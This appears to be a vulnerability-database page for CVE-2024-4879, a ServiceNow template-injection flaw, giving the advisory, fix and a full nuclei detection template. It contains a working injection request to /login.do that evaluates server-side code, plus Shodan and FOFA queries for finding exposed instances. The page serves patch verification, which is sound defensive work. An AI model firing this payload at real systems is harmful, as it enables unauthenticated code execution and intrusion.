HexBrain

Browse / CVEs / CVE-2024-4879

CVE-2024-4879· servicenow / servicenow

ServiceNow UI Macros - Template Injection

Exploited in the wild. Listed by CISA on 2024-07-29; known to be used by ransomware.

criticalseverity
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington DC Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. ServiceNow applied an update to hosted instances, and ServiceNow released the update to our partners and self-hosted customers. Listed below are the patches and hot fixes that address the vulnerability. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.

Impact

Unauthenticated attackers can exploit SSTI to execute arbitrary code on ServiceNow servers.

Fix

Apply security patches for ServiceNow as per KB1644293 and KB1645154.

How to confirm it

Send: GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style>
Positive when: contains "<div class=\"outputmsg_text\">1787569</div>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-4879 -u <target>

The full check
id: CVE-2024-4879

info:
  name: ServiceNow UI Macros - Template Injection
  author: DhiyaneshDk,ritikchaddha
  severity: critical
  description: |
    ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington DC Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. ServiceNow applied an update to hosted instances, and ServiceNow released the update to our partners and self-hosted customers. Listed below are the patches and hot fixes that address the vulnerability. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.
  impact: |
    Unauthenticated attackers can exploit SSTI to execute arbitrary code on ServiceNow servers.
  remediation: |
    Apply security patches for ServiceNow as per KB1644293 and KB1645154.
  reference:
    - https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1645154
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4879
  classification:
    epss-score: 0.99968
    epss-percentile: 0.99977
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2024,servicenow,ssti,kev,vkev,vuln

http:
  - raw:
      - |
        GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<div class="outputmsg_text">1787569</div>'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from